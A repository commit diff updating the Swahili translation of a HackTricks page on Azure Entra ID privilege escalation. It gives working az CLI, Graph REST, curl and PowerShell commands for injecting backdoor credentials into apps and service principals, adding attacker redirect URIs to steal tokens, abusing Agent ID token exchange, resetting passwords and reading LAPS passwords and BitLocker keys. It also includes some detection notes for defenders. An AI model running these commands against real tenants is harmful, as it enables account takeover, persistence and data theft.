gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-07-28 22:51:09 -07:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

Browse Source
This commit is contained in:
Translator
2026-06-16 13:24:26 +00:00
parent 6105e6934e
commit 6a6214656a
1 changed files with 81 additions and 50 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
+81 -50
View File
@@ -3,13 +3,13 @@
{{#include ../../../../banners/hacktricks-training.md}}
> [!NOTE]
> Kumbuka kwamba **si ruhusa zote za granular** ambazo roles zilizojengwa ndani zina katika Entra ID **zinaweza kuchaguliwa kutumika katika custom roles.**
> Tambua kwamba **sio ruhusa zote za granular** ambazo roles zilizo built-in zina katika Entra ID **zinafaa kutumika katika custom roles.**
## Roles
### Role: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
Role hii ina ruhusa muhimu za granular ili kuweza kugawa roles kwa principals na kutoa ruhusa zaidi kwa roles. Vitendo vyote viwili vinaweza kutumiwa vibaya ili kuongezea privileges.
Role hii ina ruhusa muhimu za granular zinazohitajika ili kuweza kugawa roles kwa principals na kutoa ruhusa zaidi kwa roles. Vitendo vyote viwili vinaweza kutumiwa vibaya ili kupandisha privileges.
- Assign role to a user:
```bash
@@ -52,22 +52,53 @@ az rest --method PATCH \
### `microsoft.directory/applications/credentials/update`
Hii inamruhusu mshambulizi **kuongeza credentials** (passwords au certificates) kwenye applications zilizopo. Ikiwa application ina privileged permissions, mshambulizi anaweza kujithibitisha kama hiyo application na kupata hizo privileges.
Hii inamruhusu mshambuliaji **kuongeza credentials** (passwords au certificates) kwenye applications zilizopo. Ikiwa application ina privileged permissions, mshambuliaji anaweza authenticate kama hiyo application na kupata hizo privileges.
```bash
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert
```
### `microsoft.directory/applications.myOrganization/allProperties/update`
Ruhusa hii inatoa update kwa **kila property inayoweza kuandikwa** ya application registration yoyote ya **single-tenant** (`signInAudience = AzureADMyOrg`), ikijumuisha `passwordCredentials` na `keyCredentials`. Imewekwa kama `IsPrivileged: true` kwenye catalog lakini **haipo** katika role yoyote ya built-in — huonekana karibu tu katika **custom roles** ambazo admin huunda ili kuruhusu "manage our internal apps" bila kutambua kwamba subtype `.myOrganization` kwa bahati huweka action hii kwenye seti hasa ya apps ambazo kwa uwezekano mkubwa zaidi zinabeba privileged Microsoft Graph permissions.
- Enumerate apps with privileged Microsoft Graph permissions consented:
```bash
# SPs with at least one Microsoft Graph app role assigned
GRAPH_SP_ID=$(az ad sp show --id 00000003-0000-0000-c000-000000000000 --query id -o tsv)
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$GRAPH_SP_ID/appRoleAssignedTo" \
--query "value[].{App:principalDisplayName, SP:principalId, RoleId:appRoleId}" \
-o table
# Resolve a RoleId to the human-readable permission name
az ad sp show --id 00000003-0000-0000-c000-000000000000 \
--query "appRoles[?id=='<RoleId>'].value" -o tsv
```
- Thibitisha target ni single-tenant (ndani ya scope ya aina ya `.myOrganization`):
```bash
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/applications(appId='<APP_ID>')" \
--query "{audience:signInAudience, name:displayName}"
# audience must be "AzureADMyOrg"
```
- Dunga credential ndani ya app lengwa — hatua pekee yenye privilege kwenye chain:
```bash
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/applications(appId='<APP_ID>')/addPassword" \
--headers "Content-Type=application/json" \
--body '{"passwordCredential":{"displayName":"backdoor"}}'
```
### `microsoft.directory/applications.myOrganization/credentials/update`
Hii huruhusu vitendo vilevile kama `applications/credentials/update`, lakini vimewekewa scope kwa single-directory applications.
Hii inaruhusu vitendo vile vile kama `applications/credentials/update`, lakini imewekewa scope kwa applications za single-directory.
```bash
az ad app credential reset --id <appId> --append
```
### `microsoft.directory/applications/owners/update`
Kwa kujiongeza kama owner, mshambuliaji anaweza kudhibiti application, ikiwemo credentials na permissions.
Kwa kujiongeza kama owner, attacker anaweza kudhibiti application, ikijumuisha credentials na permissions.
```bash
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append
@@ -77,24 +108,24 @@ az ad app owner list --id <appId>
```
### `microsoft.directory/applications/allProperties/update`
Mshambuliaji anaweza kuongeza redirect URI kwenye applications zinazotumiwa na users wa tenant kisha awashirikishe URLs za login zinazotumia redirect URL mpya ili kuiba tokens zao. Kumbuka kuwa kama user tayari alikuwa ame-login kwenye application, authentication itakuwa automatic bila user kuhitaji kukubali chochote.
Mshambuliaji anaweza kuongeza redirect URI kwenye applications ambazo zinatumiwa na watumiaji wa tenant kisha awashirikishe login URLs zinazotumia redirect URL mpya ili kuiba tokens zao. Kumbuka kwamba ikiwa mtumiaji tayari alikuwa ame-login kwenye application, authentication itakuwa automatic bila mtumiaji kuhitaji kukubali chochote.
Kumbuka pia kwamba inawezekana kubadilisha permissions ambazo application inaomba ili kupata permissions zaidi, lakini katika hali hii user atalazimika kukubali tena prompt inayoomba permissions zote.
Kumbuka pia kwamba inawezekana kubadilisha permissions ambazo application inaomba ili kupata permissions zaidi, lakini katika kesi hii mtumiaji atalazimika kukubali tena prompt inayoomba permissions zote.
```bash
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
```
### Programu Ongezeko la Ustahili
### Uongezaji wa Privilege ya Applications
**Kama ilivyoelezwa katika [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** ilikuwa kawaida sana kupata applications za default ambazo zina **API permissions** za aina **`Application`** zilizopewa. API Permission (kama inavyoitwa kwenye Entra ID console) ya aina **`Application`** inamaanisha kwamba application inaweza kufikia API na kutekeleza actions bila context ya user (bila user kuingia kwenye app), na bila kuhitaji Entra ID roles ili kuruhusu hilo. Kwa hiyo, ni kawaida sana kupata **applications zenye upendeleo mkubwa katika kila Entra ID tenant**.
**Kama ilivyoelezwa katika [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** ilikuwa kawaida sana kupata default applications ambazo zina **API permissions** za aina **`Application`** zimepewa. API Permission (kama inavyoitwa kwenye Entra ID console) ya aina **`Application`** ina maana kwamba application inaweza kufikia API na kutekeleza actions bila user context (bila user login kwenye app), na bila kuhitaji Entra ID roles ili kuiruhusu. Kwa hiyo, ni kawaida sana kupata **high privileged applications katika kila Entra ID tenant**.
Kisha, kama mshambuliaji ana permission/role yoyote inayoruhusu **kusasisha credentials (secret o certificate) za application**, mshambuliaji anaweza kutengeneza credential mpya na kisha kuitumia ku**authenticate kama application**, na kupata permissions zote ambazo application hiyo ina.
Kisha, ikiwa attacker ana permission/role yoyote inayoruhusu **ku-update credentials (secret o certificate) za application**, attacker anaweza kutengeneza credential mpya na kisha kuitumia ili **authenticate kama application**, akipata permissions zote ambazo application inazo.
Kumbuka kwamba blog iliyotajwa inashiriki baadhi ya **API permissions** za common Microsoft default applications, hata hivyo muda fulani baada ya ripoti hii Microsoft ilirekebisha issue hii na sasa haiwezekani tena kuingia kama Microsoft applications. Hata hivyo, bado inawezekana kupata **custom applications zenye privileges kubwa ambazo zinaweza kutumiwa vibaya**.
Kumbuka kwamba blog iliyotajwa inashiriki baadhi ya **API permissions** za common Microsoft default applications hata hivyo muda fulani baada ya report hii Microsoft ilirekebisha issue hii na sasa haiwezekani tena ku-login kama Microsoft applications. Hata hivyo, bado inawezekana kupata **custom applications zenye high privileges ambazo zinaweza abused**.
Jinsi ya kuenumerate API permissions za application:
Jinsi ya ku-enumerate API permissions za application:
```bash
# Get "API Permissions" of an App
## Get the ResourceAppId
@@ -125,7 +156,7 @@ az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
<details>
<summary>Pata ruhusa zote za API za applications na weka alama kwenye APIs zinazomilikiwa na Microsoft</summary>
<summary>Pata ruhusa zote za API za applications na weka alama kwa APIs zinazomilikiwa na Microsoft</summary>
```bash
#!/usr/bin/env bash
set -euo pipefail
@@ -241,32 +272,32 @@ done < <(jq -c '.[]' <<<"$apps_json")
### `microsoft.directory/servicePrincipals/credentials/update`
Hii inamruhusu mshambuliaji kuongeza credentials kwa existing service principals. Ikiwa service principal ina elevated privileges, mshambuliaji anaweza kuchukua privileges hizo.
Hii inamruhusu mshambuliaji kuongeza credentials kwa service principals zilizopo. Ikiwa service principal ina privileges zilizoinuliwa, mshambuliaji anaweza kuchukua privileges hizo.
```bash
az ad sp credential reset --id <sp-id> --append
```
> [!CAUTION]
> Nywila mpya iliyozalishwa haitaonekana kwenye web console, kwa hivyo hii inaweza kuwa njia ya stealth ya kudumisha persistence juu ya service principal.\
> Kutoka API zinaweza kupatikana kwa: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
> Nenosiri jipya lililozalishwa halitaonekana kwenye web console, kwa hiyo hii inaweza kuwa njia ya stealth ya kudumisha persistence juu ya service principal.\
> Kutoka kwa API zinaweza kupatikana kwa: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
Ukipata hitilafu `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` ni kwa sababu **si possible kurekebisha property ya passwordCredentials** ya SP na kwanza unahitaji kuifungua. Kwa hiyo unahitaji permission (`microsoft.directory/applications/allProperties/update`) inayokuwezesha kutekeleza:
Ukipata error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` ni kwa sababu **haiwezekani kurekebisha property ya passwordCredentials** ya SP na kwanza unahitaji kuifungua. Kwa hilo unahitaji permission (`microsoft.directory/applications/allProperties/update`) ambayo inakuruhusu kutekeleza:
```bash
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
```
### Entra Agent ID blueprint credential abuse (`AgentIdentityBlueprint.AddRemoveCreds.All`)
**Agent identity blueprints** ni application objects na kila blueprint pia huunda **agent identity blueprint principal** kwenye tenant. **Agent identities** ni watoto wanaotokana na service-principal wa njia hiyo ya blueprint. Kwa hiyo, mshambuliaji akiweza **kuongeza password/certificate kwenye blueprint** au tayari akaiba mojawapo ya credentials zake, baadaye anaweza kujithibitisha kama **blueprint principal** na kuomba tokens kwa child agent identities.
**Agent identity blueprints** ni application objects na kila blueprint pia huunda **agent identity blueprint principal** katika tenant. **Agent identities** ni watoto waliotokana na service-principal wa njia hiyo ya blueprint. Kwa hivyo, mshambuliaji akipata uwezo wa **kuongeza password/certificate kwenye blueprint** au tayari ameiba moja ya credentials zake, baadaye anaweza ku-authenticate kama **blueprint principal** na ku-request tokens za child agent identities.
Hii hugeuza role assignment mbaya ya Entra Agent ID kuwa zote mbili:
Hii hugeuza assignment mbaya ya Entra Agent ID role kuwa zote mbili:
- **Persistence**: `passwordCredential` mpya inabaki kwenye blueprint hadi iondolewe
- **Privilege escalation**: low-trust/dev agent inaweza kuvuka kwenda kwenye high-trust blueprint tofauti na kisha kutenda kama child agents zake
- **Persistence**: `passwordCredential` mpya hubaki kwenye blueprint hadi iondolewe
- **Privilege escalation**: low-trust/dev agent anaweza kuvuka kwenda kwenye tofauti high-trust blueprint na kisha kutenda kama child agents zake
Njia hatari za kawaida ni:
- Compromised agent identity yenye **`AgentIdentityBlueprint.AddRemoveCreds.All`**
- Compromised owner/sponsor/admin anayeweza manage blueprint
- Uizi wa existing blueprint secret/certificate
- Compromised owner/sponsor/admin anayeweza kudhibiti blueprint
- Theft ya existing blueprint secret/certificate
Ongeza secret mpya kwenye target blueprint:
```bash
@@ -275,12 +306,12 @@ az rest --method POST \
--headers 'Content-Type=application/json' \
--body '{"passwordCredential":{"displayName":"ht-backdoor"}}'
```
Au pia na Microsoft Graph PowerShell:
Au kwa kutumia Microsoft Graph PowerShell:
```powershell
$params = @{ passwordCredential = @{ displayName = 'ht-backdoor' } }
Add-MgBetaApplicationPassword -ApplicationId <blueprint-object-id> -BodyParameter $params
```
Ikiwa credential mpya inakubaliwa, authenticate kama **blueprint principal** na abuse Agent ID token exchange. Ombi la kwanza linatumia blueprint credential na linaweka **`fmi_path`** kuwa target agent identity. Token inayorudishwa kisha inatumika tena kama **JWT bearer `client_assertion`** ili kupata Microsoft Graph token kwa ajili ya agent identity hiyo.
Iwapo credential mpya inakubaliwa, authenticate kama **blueprint principal** na abuse Agent ID token exchange. Request ya kwanza hutumia blueprint credential na huweka **`fmi_path`** kuwa target agent identity. Token iliyorejeshwa kisha hutumika tena kama **JWT bearer `client_assertion`** ili kupata Microsoft Graph token kwa ajili ya agent identity hiyo.
```bash
curl -X POST "https://login.microsoftonline.com/<tenant>/oauth2/v2.0/token" \
-H 'Content-Type: application/x-www-form-urlencoded' \
@@ -301,7 +332,7 @@ curl -X POST "https://login.microsoftonline.com/<tenant>/oauth2/v2.0/token" \
--data-urlencode 'scope=https://graph.microsoft.com/.default'
```
> [!CAUTION]
> Ikiwa blueprint ya **dev** au child agent yake inaweza kuongeza credentials kwenye blueprint ya **prod**, mshambuliaji anavuka boundary ya trust inayotarajiwa ya blueprint/agent na anapata durable access kwenye target agent infrastructure.
> Iwapo blueprint ya **dev** au child agent wake anaweza kuongeza credentials kwenye blueprint ya **prod**, mshambuliaji anavuka mpaka wa kawaida wa trust kati ya blueprint/agent na hupata access ya kudumu kwenye target agent infrastructure.
Quick validation / scoping:
```powershell
@@ -315,7 +346,7 @@ $app.PasswordCredentials | ? { $_.KeyId -eq '<new-key-id>' }
```
Hunting notes:
- Tazama **`Update application – Certificates and secrets management`** katika [Az - Monitoring](../../az-services/az-monitoring.md)
- Tafuta **`Update application – Certificates and secrets management`** katika [Az - Monitoring](../../az-services/az-monitoring.md)
- Linganisha **`AuditLogs`**, **`MicrosoftGraphActivityLogs`**, na **`AADServicePrincipalSignInLogs`** kwa kutumia muda, service principal ID, user-agent, IP, na `SignInActivityId` / `UniqueTokenIdentifier`
- Katika `MicrosoftGraphActivityLogs`, angalia `RequestUri` inayoishia kwa **`/applications/<id>/microsoft.graph.addPassword`** na kama `Roles` ina **`AgentIdentityBlueprint.AddRemoveCreds.All`**
- Katika `AADServicePrincipalSignInLogs`, kagua `ServicePrincipalCredentialKeyId`, `ClientCredentialType`, `Agent.agentType`, na kama key mpya ilitumika baadaye
@@ -326,17 +357,17 @@ AADServicePrincipalSignInLogs
| where ServicePrincipalCredentialKeyId == "<new-key-id>"
| project CreatedDateTime, ServicePrincipalName, ServicePrincipalId, IPAddress, UserAgent, ResourceDisplayName
```
Hii inahusiana na generic [application credential abuse](../../az-services/az-azuread.md#applications) na [service principal credential persistence](../../az-persistence/README.md#applications-and-service-principals), lakini Entra Agent ID inaongeza stage ya pili ambapo blueprint credential inaweza kubadilishwa kuwa **different agent identity token**.
Hii inahusiana na [application credential abuse](../../az-services/az-azuread.md#applications) ya kawaida na [service principal credential persistence](../../az-persistence/README.md#applications-and-service-principals), lakini Entra Agent ID inaongeza hatua ya pili ambapo blueprint credential inaweza kubadilishwa kuwa **different agent identity token**.
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
Hii inamruhusu attacker kuongeza credentials kwa existing service principals. Ikiwa service principal ina elevated privileges, attacker anaweza kuchukua zile privileges.
Hii inamruhusu mshambuliaji kuongeza credentials kwa service principals zilizopo. Ikiwa service principal ina elevated privileges, mshambuliaji anaweza kuchukua privileges hizo.
```bash
az ad sp credential reset --id <sp-id> --append
```
### `microsoft.directory/servicePrincipals/owners/update`
Sawa na applications, ruhusa hii inaruhusu kuongeza wamiliki zaidi kwa service principal. Kumiliki service principal kunaruhusu udhibiti juu ya credentials na permissions zake.
Kama ilivyo kwa applications, ruhusa hii inaruhusu kuongeza owners zaidi kwa service principal. Kumiliki service principal kunaruhusu udhibiti juu ya credentials na permissions zake.
```bash
# Add new owner
spId="<spId>"
@@ -354,13 +385,13 @@ az ad sp credential reset --id <sp-id> --append
az ad sp owner list --id <spId>
```
> [!CAUTION]
> Baada ya kuongeza owner mpya, nilijaribu kuiondoa lakini API ilijibu kwamba method ya DELETE haikusaidiwa, hata kama ndiyo method unayohitaji kutumia kufuta owner. Kwa hiyo, **huwezi kuondoa owners siku hizi**.
> Baada ya kuongeza owner mpya, nilijaribu kuiondoa lakini API ilijibu kwamba njia ya DELETE haikuungwa mkono, hata kama ndio njia unayohitaji kutumia kufuta owner. Hivyo, huwezi **kuondoa owners kwa sasa**.
### `microsoft.directory/servicePrincipals/disable` na `enable`
### `microsoft.directory/servicePrincipals/disable` and `enable`
Hizi permissions huruhusu disable na enable service principals. Attacker anaweza kutumia permission hii kuenable service principal ambayo angeweza kupata access yake kwa namna fulani ili kufanya privilege escalation.
Hizi permissions huruhusu kuzima na kuwasha service principals. Mshambuliaji angeweza kutumia permission hii kuwasha service principal ambayo angeweza kupata access kwake kwa namna fulani ili ku-escale privileges.
Kumbuka kuwa kwa technique hii attacker atahitaji permissions zaidi ili a takeover service principal iliyowezeshwa.
Kumbuka kwamba kwa technique hii mshambuliaji atahitaji permissions zaidi ili ku-take over service principal iliyowashwa.
```bash
# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false
@@ -370,7 +401,7 @@ az ad sp update --id <ServicePrincipalId> --account-enabled true
```
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
Ruhusa hizi huruhusu kuunda na kupata credentials za single sign-on ambazo zinaweza kuruhusu ufikiaji wa applications za wahusika wengine.
Ruhusa hizi huruhusu kuunda na kupata credentials za single sign-on ambazo zinaweza kuruhusu ufikiaji wa applications za watu wengine.
```bash
# Generate SSO creds for a user or a group
spID="<spId>"
@@ -392,11 +423,11 @@ az rest --method POST \
```
---
## Vikundi
## Groups
### `microsoft.directory/groups/allProperties/update`
Ruhusa hii inaruhusu kuongeza watumiaji kwenye vikundi vyenye privileged, na hivyo kusababisha privilege escalation.
Ruhusa hii inaruhusu kuongeza watumiaji kwenye vikundi vyenye mamlaka, hivyo kusababisha privilege escalation.
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
@@ -404,7 +435,7 @@ az ad group member add --group <GroupName> --member-id <UserId>
### `microsoft.directory/groups/owners/update`
Ruhusa hii inaruhusu kuwa owner wa groups. Owner wa group anaweza kudhibiti group membership na settings, na kwa hivyo anaweza kuongeza privileges kwa group.
Ruhusa hii inaruhusu kuwa mmiliki wa groups. Mmiliki wa group anaweza kudhibiti uanachama wa group na mipangilio, na hivyo huenda akaongeza privileges hadi kwenye group.
```bash
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
@@ -413,13 +444,13 @@ az ad group member add --group <GroupName> --member-id <UserId>
### `microsoft.directory/groups/members/update`
Ruhusa hii inaruhusu kuongeza wanachama kwenye group. Mshambuliaji anaweza kujiongeza mwenyewe au akaunti hasidi kwenye privileged groups na hivyo kupata elevated access.
Ruhusa hii inaruhusu kuongeza wanachama kwenye group. Mshambuliaji anaweza kujiongeza mwenyewe au akaunti mbovu kwenye privileged groups na hivyo kupata elevated access.
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
### `microsoft.directory/groups/dynamicMembershipRule/update`
Ruhusa hii inaruhusu kusasisha membership rule katika dynamic group. Mshambuliaji angeweza kurekebisha dynamic rules ili ajumuishwe mwenyewe katika privileged groups bila kuongezwa moja kwa moja.
Ruhusa hii inaruhusu kusasisha membership rule katika dynamic group. Mshambulizi anaweza kurekebisha dynamic rules ili ajumuishwe kwenye privileged groups bila kuongezwa waziwazi.
```bash
groupId="<group-id>"
az rest --method PATCH \
@@ -434,7 +465,7 @@ az rest --method PATCH \
### Dynamic Groups Privesc
Inaweza kuwa possible kwa users kuongeza privileges kwa kubadilisha properties zao wenyewe ili waongezwe kama members wa dynamic groups. Kwa taarifa zaidi angalia:
Inaweza kuwa inawezekana kwa watumiaji kuongeza privileges kwa kurekebisha properties zao wenyewe ili waongezwe kama members wa dynamic groups. Kwa maelezo zaidi angalia:
{{#ref}}
dynamic-groups.md
@@ -444,7 +475,7 @@ dynamic-groups.md
### `microsoft.directory/users/password/update`
Ruhusa hii inaruhusu kuweka upya password za non-admin users, ikimruhusu potential attacker kuongeza privileges kwa users wengine. Ruhusa hii haiwezi kupewa custom roles.
Ruhusa hii inaruhusu kuweka upya password ya non-admin users, ikiruhusu attacker anayetarajiwa kuongeza privileges kwenda kwa users wengine. Ruhusa hii haiwezi kupewa custom roles.
```bash
# Update user password
userId="<user-id>"
@@ -464,7 +495,7 @@ az rest --method PATCH \
```
### `microsoft.directory/users/basic/update`
Hii privilege inaruhusu kubadilisha properties za user. Ni kawaida kupata dynamic groups zinazoongeza users kulingana na property values, kwa hiyo, permission hii inaweza kumruhusu user kuweka property value inayohitajika ili awe member wa specific dynamic group na kuongeza privileges.
Ruhusa hii inaruhusu kurekebisha properties za user. Ni kawaida kupata dynamic groups ambazo huongeza users kulingana na property values, kwa hiyo, permission hii inaweza kumruhusu user kuweka property value inayohitajika ili awe member wa specific dynamic group na kuongeza privileges.
```bash
#e.g. change manager of a user
victimUser="<userID>"
@@ -480,9 +511,9 @@ az rest --method PATCH \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
```
## Sera za Conditional Access & MFA bypass
## Sera za Conditional Access & bypass ya MFA
Sera za conditional access zilizosanidiwa vibaya zinazohitaji MFA zinaweza kubypassed, angalia:
Sera za conditional access zilizosanidiwa vibaya zinazohitaji MFA zinaweza kupitiwa, angalia:
{{#ref}}
az-conditional-access-policies-mfa-bypass.md
@@ -492,7 +523,7 @@ az-conditional-access-policies-mfa-bypass.md
### `microsoft.directory/devices/registeredOwners/update`
Ruhusa hii inaruhusu attackers kujiteua wenyewe kama owners wa devices ili kupata control au access kwenye device-specific settings na data.
Hii permission inaruhusu attackers kujiteua wao wenyewe kama owners wa devices ili kupata control au access ya device-specific settings na data.
```bash
deviceId="<deviceId>"
userId="<userId>"
@@ -503,7 +534,7 @@ az rest --method POST \
```
### `microsoft.directory/devices/registeredUsers/update`
Hii ruhusa inaruhusu washambuliaji kuhusisha akaunti yao na devices ili kupata access au kupita security policies.
Ruhusa hii inaruhusu washambuliaji kuhusisha akaunti yao na devices ili kupata access au kupita security policies.
```bash
deviceId="<deviceId>"
userId="<userId>"
@@ -514,7 +545,7 @@ az rest --method POST \
```
### `microsoft.directory/deviceLocalCredentials/password/read`
Ruhusa hii inaruhusu washambuliaji kusoma sifa za akauti za local administrator zilizopewa backup kwa Microsoft Entra joined devices, ikijumuisha password
Ruhusa hii inaruhusu washambuliaji kusoma properties za credentials za akaunti ya local administrator zilizo backupwa kwa Microsoft Entra joined devices, ikijumuisha password
```bash
# List deviceLocalCredentials
az rest --method GET \
@@ -529,7 +560,7 @@ az rest --method GET \
### `microsoft.directory/bitlockerKeys/key/read`
Ruhusa hii inaruhusu kufikia BitLocker keys, jambo ambalo linaweza kumruhusu mshambulizi kusimbua drives, na kuhatarisha usiri wa data.
Ruhusa hii inaruhusu kufikia BitLocker keys, ambayo inaweza kumruhusu mshambuliaji decrypt drives, na hivyo kuathiri data confidentiality.
```bash
# List recovery keys
az rest --method GET \
@@ -540,7 +571,7 @@ recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
```
## Ruhusa Nyingine za Kuvutia (TODO)
## Ruhusa Nyingine Zinazovutia (TODO)
- `microsoft.directory/applications/permissions/update`
- `microsoft.directory/servicePrincipals/permissions/update`